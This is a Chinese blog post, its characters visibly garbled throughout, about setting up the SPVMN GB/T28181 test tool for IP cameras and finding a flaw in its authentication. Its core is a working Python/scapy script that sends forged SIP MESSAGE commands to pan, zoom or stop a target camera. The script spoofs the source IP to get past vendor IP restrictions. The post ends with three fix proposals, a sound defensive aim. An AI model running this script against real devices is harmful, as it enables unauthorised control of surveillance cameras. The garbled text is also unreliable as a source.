这几天都在作设备的协议分析,而后看到有个叫Spvmn的不懂要怎么操做才能触发其操做过程,问了测试部的同事说也没有测试文档,本身研究了一下这里作个记录。html
按我如今理解,各厂商有本身的私有协议、ONVIF是世界标准协议、GB/T28181是国标;Onvif Test Tool是ONVIF协议实现的测试工具,而SPVMN是GB/T28181协议实现的测试工具。java
IPC:首先须要一台支持GB/T28181(或者说有Spvmn配置)的IPC,这个是必然的。web
Windows电脑:看spvmn里边的文档说只支持Windows,Linux没试过。apache
JDK1.5:我使用JDK1.8该问页面一直报错,换成1.5才能成功访问。下载地址点连接。tomcat
报错:org.apache.jasper.JasperException: Unable to compile class for JSP服务器
Spvmn工具下载地址:http://7dx.pc6.com/wwb5/SPVMN.zipsession
下载直接解压到本身想要的目录,该工具本质是一个tomcat,里边部署了一个用于测试的jsp应用。和正常tomcat同样到bin目录点击startup.bat启动便可。oracle
不过要注意,该tomcat默认使用8080端口,而后又启了在5060开了一个监听,因此在启动前要注意确保本机的这两个端口没被占用。app
tomcat启动完成后,访问后边的连接,若是一切正常页面应以下图:http://127.0.0.1:8080/SIPStandardDebug/ssh
使用Onvif Test Tool等工具,咱们都是在Onvif Test Tool等工具输入IPC的用户名密码向IPC认证。但Spvmn反过来,是在IPC中输入Spvmn的“用户名密码”,IPC向Spvmn认证。
这认证逻辑存在问题,咱们后边再说,这里主要是知道是这样子就能够了。
Spvmn的“用户名密码”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到这两个节区的信息
找到这些信息后,打开IPC上的Spvmn配置页面,把这些信息复制填到Spvmn页面对应的框中,而后保存启动便可。(Sip服务器就是装Spvmn的那台电脑)
此时回到Spvmn页面,依次点调测辅助面---链路管理,如无心外在弹出页面中便可看到IPC成功上线。
第一步,点击“调测设备类型”选好要进行调测的设备,咱们这里是IPC
第二步,在下面的各类操做经过点击选中本身要测试的命令,好比我这里点“向左”
第三步,点选好命令后在左下窗格中即会呈现该命令将会发送的主体报文,点击“发送消息”按钮,该命令即会向IPC发出返回结果呈如今右下窗格中。
固然协议实现除了看有消息返回外,更主要的仍是要看IPC是否真的执行了相应的动做。好比咱们这里发了“向左”命令,IPC是否真的有向左旋转。
使用wireshark拦截数据包观察交互过程以下图。
IPC向Spvmn发起注册(REGISTER)请求,Spvmn回复未认证(Unauthorized),IPC经过Digest形式提交用户名密码,Spvmn回复认证成功。然后就都是Spvmn向IPC发送各类命令操控IPC(MESSAGE)。
正如咱们向服务器认证,后续请求都得带session向服务器代表身份而服务器什么都不须要带同样;ipc向spvmn认证,那么后续请求上都是ipc向spvmn携带认证信息,而spvmn不会向ipc携带认证信息。(实际看来只有在上线注册时ipc向spvmn带了用户名密码,以后双方就都没带会话信息)
既然不须要认证信息的话,那是否是说,只要IPC开启spvmn,我假装成spvmn服务器向ipc发命令ipc都会执行。而通过实验发现事实也是如此,测试代码以下可自行使用本身环境进行测试。
from scapy.all import * # 假装成本地spvmn发包,这个其实不必 local_ip = "10.10.6.91" local_port = 5060 # 有些IPC限制只接收从spvmn页面配置的ip发来的命令,此时能够经过伪造IP绕过 cheat_ip = "10.10.6.92" # 目标ipc ip和端口 # ipc_ip = "10.10.6.98" ipc_ip = "10.20.23.150" ipc_port = 5060 # 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop command_flag = 3 # 让IPC向左旋转命令 def turn_left(): # 创建发送socket,和正常UDP数据包没区别 send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其实不须要绑定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大 def zoom_out(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy伪造源IP地址 def zoom_out_use_scapy(): message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message send(udp_packet) # 让IPC中止全部动做命令 def stop(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其实不须要绑定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0100000000B5</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__": if command_flag == 1: turn_left() elif command_flag == 2: zoom_out() elif command_flag == 3: zoom_out_use_scapy() else: stop()
方法一:
咱们能不能在IPC端设定,只处理来自自身配置好的Spvmn的ip发来的命令?
答案是不能彻底解决。实际发现有些厂商就作了ip限制,但由于使用的是UDP协议,IP彻底是能够伪造的。
方法二:
在4.1的代码的请求中咱们能够看到有一些应该是spvmn服务器的一些信息,咱们可不能够在IPC端经过提取这些信息与spvmn配置页面中的进行比对一致才进行处理?
这应该是能够解决spvmn伪造的问题,但还存在的问题就是假若spvmn服务器信息泄漏,那么IPC也会被控制;或者说此时spvmn的用户名密码也扮演了IPC用户名密码的角色,这增大了IPC的攻击面。另外在spvmn功能就相似操做系统的telnetd和sshd,攻击者侵入web后配置好spvmn就获得了一个自然的后门程序。
方法三:
4.1中咱们说spvmn把认证方向搞反了,其实若是spvmn使用的是tcp而不是udp不用调整认证方向也能达到和方案二同样的效果。由于若是使用tcp那就是ipc随便选一个端口与spvmn服务器进行链接,该端口是ESTABLISHED状态而不是LISTENING状态,你新建一个进程试图与该端口创建链接该端口是不予理会的;而假若是udp没有创建链接过程只能是监听状态,伪造的数据它也没法区分。但若是使用这种方法进行修复就不符合协议标准了,只是提一下。
参考: